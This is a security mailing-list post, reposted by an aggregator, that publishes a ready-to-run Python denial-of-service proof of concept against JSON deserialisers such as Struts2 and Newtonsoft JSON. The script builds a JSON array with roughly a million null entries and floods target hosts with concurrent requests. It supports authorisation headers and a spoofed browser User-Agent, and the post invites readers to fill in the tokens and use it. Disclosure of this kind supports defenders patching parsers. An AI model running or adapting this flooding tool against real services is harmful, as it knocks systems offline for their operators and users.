JSON Deserialiser Unconstrained Resource Consumption Proof of Concept
Full Disclosuremailing list archivesFrom: Daniel Owens via Fulldisclosure <fulld 2026-8-30 06:17:58 Author: seclists.org(查看原文) 阅读量:3 收藏
Full Disclosuremailing list archivesFrom: Daniel Owens via Fulldisclosure <fulld 2026-8-30 06:17:58 Author: seclists.org(查看原文) 阅读量:3 收藏
Full Disclosure mailing list archives
From: Daniel Owens via Fulldisclosure <fulldisclosure () seclists org>
Date: Sat, 29 Aug 2026 00:11:02 +0000
On 26 October 2025 we published "Struts2 and Related Framework Array/Collection DoS", which was followed up on 07 March
2026 by "JSON Deserialiser Unconstrained Resource Consumption Quick Overview". Today we are publishing a proof of
concept that we have been using for more than 15 years against Struts2, Newtonsoft JSON, JSON.org, and various other
JSON parsers. We are publishing, in part, because of the theft of our published materials by whitehats, the denial by
Apache, and because we want the community to see what insecure deserialisation really is, rather than the confused
ysoserial that targets insecure reflection (we previously published a write-up discussing insecure reflection and using
Inedo ProGet to demonstrate it - see our write-up on 26 April 2025 titled "Inedo ProGet Insecure Reflection and CSRF
Vulnerabilities"). We lovingly call this POC, "Commas of D00m". Use find/replace on the tokens. Enjoy
```python
#!/usr/bin/python3
# ---
# name: Collection-size overflow tester
# category: Testing and scanning
# tags: dos, payload, collection-size, json, flood, load, http
# description: Floods a host with concurrent oversized JSON payloads (a huge null array) to probe Java collection-size
limits.
# placeholders:
# - token: "@@HOSTS@@"
# field: hosts
# kind: list
# format: python
# label: Hosts
# - token: "@@CONTENT_TYPE@@"
# field: content_type
# kind: text
# label: Content-Type
# default: application/json
# - token: "@@PATH@@"
# field: path
# kind: text
# label: Request path
# optional: true
# default: /
# - token: "@@HEADERS@@"
# field: headers
# kind: map
# format: python
# label: Extra headers, like the cookie and authorisation headers
# optional: true
# - token: "@@PARALLEL_COUNT@@"
# field: parallel_count
# kind: text
# label: Parallel count (concurrent threads)
# optional: true
# default: 40
# - token: "@@TOTAL_CONNECTIONS@@"
# field: total_number_of_connections
# kind: text
# label: Total connections
# optional: true
# default: 1000
# - token: "@@RECREATE_PAYLOAD@@"
# field: recreate_payload
# kind: text
# label: Recreate payload file (true/false)
# optional: true
# default: true
# - token: "@@PAYLOAD_FILE@@"
# field: payload_file
# kind: text
# label: Payload file
# optional: true
# default: prebuilt_payload_tmp
# - token: "@@PAYLOAD_LEFT@@"
# field: payload_left
# kind: text
# label: Payload left (before the null array)
# optional: true
# default: {"serviceTypes": [
# - token: "@@PAYLOAD_RIGHT@@"
# field: payload_right
# kind: text
# label: Payload right (after the null array; blank uses the default)
# optional: true
# - token: "@@STEP@@"
# field: step
# kind: text
# label: Step
# optional: true
# default: 1
# - token: "@@MAX_COLLECTION_SIZE@@"
# field: max_collection_size
# kind: text
# label: Max collection size
# optional: true
# default: 1048500
# ---
"""Flood a host with oversized JSON payloads to probe collection-size limits.
Builds a payload whose array holds a very large number of ``null`` entries --
enough to strain a server-side (Java) collection -- and fires it at each host
with a configurable amount of concurrency, tallying the status codes seen
(413s and 5xx especially) and logging any 5xx bodies to
``request-responses.txt``. A Content-Type and at least one host are required.
Usage:
python collection_size_overflow.py
"""
import concurrent.futures
import os
import random
import string
import time
from datetime import datetime, timezone
import requests
# REPLACE/ADJUST THESE
config = {
'hosts': @@HOSTS@@,
'paths': ['@@PATH@@' or '/'],
'content_type': '@@CONTENT_TYPE@@',
'extra_headers': @@HEADERS@@,
'parallel_count': int('@@PARALLEL_COUNT@@' or 40),
'total_number_of_connections': int('@@TOTAL_CONNECTIONS@@' or 1000),
# Data for the payload generation
'recreate_payload': ('@@RECREATE_PAYLOAD@@' or 'true').strip().lower() in ('1', 'true', 'yes'),
'payload_file': '@@PAYLOAD_FILE@@' or 'prebuilt_payload_tmp',
'payload_left': r"""@@PAYLOAD_LEFT@@""" or '{"serviceTypes": [',
'payload_right': r"""@@PAYLOAD_RIGHT@@""" or '"IP_TUNNEL"]}',
'step': int('@@STEP@@' or 1),
'max_collection_size': int('@@MAX_COLLECTION_SIZE@@' or 1048500),
# The maximum Java collection size is 2147483647; other sizes worth trying:
# 0, 1, 1050000, 1350000, 2097000, 2097023, 2097102, 4500747, 14500747,
# 67105747, 114500747
}
def count_status_codes(responses):
"""
Walks through the responses and counts the status codes
Args:
responses (list[Response]): List of response objects
Returns:
dict: A dictionary with counts for each of the status codes that we monitor
"""
try:
with open('request-responses.txt', 'a') as f:
for response in [r for r in responses if r is not None and 500 <= r.status_code < 600]:
# Write response
f.write("Response:\n")
for header, value in response.headers.items():
f.write(f"{header}: {value}\n")
f.write(f"{response.text}\n")
# Add separator between entries
f.write("-" * 50 + "\n")
print(f"Successfully wrote responses to request-responses.txt")
except Exception as e:
print(f"Error writing to file: {str(e)}")
counts = {
'2xx': len([r for r in responses if r is not None and 200 <= r.status_code < 300]),
'4xx': len([r for r in responses if r is not None and 400 <= r.status_code < 500]),
'400': len([r for r in responses if r is not None and r.status_code == 400]),
'402': len([r for r in responses if r is not None and r.status_code == 402]),
'403': len([r for r in responses if r is not None and r.status_code == 403]),
'404': len([r for r in responses if r is not None and r.status_code == 404]),
'413': len([r for r in responses if r is not None and r.status_code == 413]),
'429': len([r for r in responses if r is not None and r.status_code == 429]),
'5xx': len([r for r in responses if r is not None and 500 <= r.status_code < 600]),
'500': len([r for r in responses if r is not None and r.status_code == 500]),
'502': len([r for r in responses if r is not None and r.status_code == 502]),
'503': len([r for r in responses if r is not None and r.status_code == 503]),
'504': len([r for r in responses if r is not None and r.status_code == 504])
}
for resp in responses:
if resp is not None:
if 500 <= resp.status_code < 600:
print(f'{response.headers}')
print(f'{resp.text}')
else:
print(f'We have a response of {resp}')
return counts
def get_payload(recreate_payload=False):
"""
Grabs the payload that we are going to send
Args:
recreate_payload (bool): Whether we should stomp over the payload file if it exists
Returns:
str: The payload to be sent
"""
sequential = config['max_collection_size'] * 95 // 100
if recreate_payload or os.path.exists(config['payload_file']) == False:
with open(config['payload_file'], 'w', encoding='utf-8') as file:
file.write(config['payload_left'])
for i in range(1, sequential, 1):
file.write(f'null,')
for i in range(sequential + 1, config['max_collection_size'] + 1, config['step']):
file.write('null,')
file.write(config['payload_right'])
with open(config['payload_file'], 'r', encoding='utf-8') as file:
return file.read()
def make_request(url, data=None, cookie_string=None):
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/137.0.0.0 Safari/537.36',
'Accept': 'application/json, text/javascript, */*; q=0.01',
}
# Caller-supplied headers first, then the required Content-Type so it wins.
headers.update(config['extra_headers'])
if config['content_type']:
headers['Content-Type'] = config['content_type']
if cookie_string:
headers['Cookie'] = cookie_string
try:
session = requests.Session()
req = requests.Request(
'POST',
url,
data=data if data else None,
headers=headers,
)
prepared = session.prepare_request(req)
# --- Print the exact request ---
# print(f"{prepared.method} {prepared.path_url} HTTP/1.1")
# for header, value in prepared.headers.items():
# print(f"{header}: {value}")
# print() # blank line separating headers from body
# if prepared.body:
# # Print first 500 chars of body to avoid flooding the terminal
# print(f"[Body ({len(prepared.body)} bytes)]: {str(prepared.body)[:500]}")
# print("=" * 50)
# --------------------------------
response = session.send(prepared)
#print(f'RRR: {response.status_code}')
#print(f'FFF: {response.headers}')
#print(f'DDD: {response.text}')
return response
except Exception as e:
print(f'Error (at {datetime.now(timezone.utc).strftime("%Y%m%dT%H%M%SZ")}): {e}')
return None
def run_concurrent_requests(url, data, num_threads, num_runs, cookie_string=None):
"""
Kicks off requests to run each query and then waits for the responses
collecting them into a list
Args:
url (str): URL to make requests to
data (str): The data to pass to the request
num_threads (int): Number of threads to use
num_runs (int): Number of requests to to make (in total)
cookie_string (str): Any cookies to include
Returns:
list[Response]: A list of responses
"""
with concurrent.futures.ThreadPoolExecutor(max_workers=num_threads) as executor:
futures = [executor.submit(make_request, url, data, cookie_string) for _ in range(num_runs)]
responses = [f.result() for f in concurrent.futures.as_completed(futures)]
return responses
def main():
# Clear our request/responses file
with open('request-responses.txt', 'w') as file:
pass
# Create a random value and set it across the requests
random_value = ''.join(random.choices(string.ascii_letters + string.digits, k=16))
# Running the attack
print('Running the attack...')
## Exceed the maximum count for items in a Java collection
payload = get_payload(recreate_payload=config['recreate_payload'])
for host in config['hosts']:
path = config['paths'][0]
url = f"https://{host}{path}";
print(
f"Attacking {url} with a payload of size {len(payload)} (using {payload.count('null,')} non-null
entries)...")
start_time = time.time()
responses = run_concurrent_requests(url, data=payload, num_threads=config['parallel_count'],
num_runs=config['total_number_of_connections'])
end_time = time.time()
counts = count_status_codes(responses)
# Print results
if counts['4xx'] > 0:
print(f" {counts['4xx']} 4xxs observed")
for status in ['400', '402', '403', '404']:
if counts[status] > 0:
print(f" {counts[status]} {status}s observed")
for status in ['413']:
if counts[status] > 0:
print(f" {counts[status]} {status}s observed (reduce payload size)")
print(
f" {counts['429']} 429s observed (out of {config['total_number_of_connections']} runs at a rate of
{config['parallel_count']} concurrent threads)")
if counts['5xx'] > 0:
print(f" {counts['5xx']} 5xxs observed")
for status in ['500', '502', '503', '504']:
if counts[status] > 0:
print(f" {counts[status]} {status}s observed")
attack_time = end_time - start_time
if attack_time >= 1:
print(
f" {int(attack_time)} seconds to perform the attack run (started at
{datetime.fromtimestamp(start_time, tz=timezone.utc).isoformat()} / ended at {datetime.fromtimestamp(end_time,
tz=timezone.utc).isoformat()})")
else:
print(
f" {int(attack_time * 1000)} milliseconds to perform the attack run (started at
{datetime.fromtimestamp(start_time, tz=timezone.utc).isoformat()} / ended at {datetime.fromtimestamp(end_time,
tz=timezone.utc).isoformat()})")
print("-" * 50)
print('Done with the attack -- check the logs')
if __name__ == "__main__":
main()
```
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Current thread:
- JSON Deserialiser Unconstrained Resource Consumption Proof of Concept Daniel Owens via Fulldisclosure (Aug 29)
文章来源: https://seclists.org/fulldisclosure/2026/Aug/117
如有侵权请联系:admin#unsafe.sh
如有侵权请联系:admin#unsafe.sh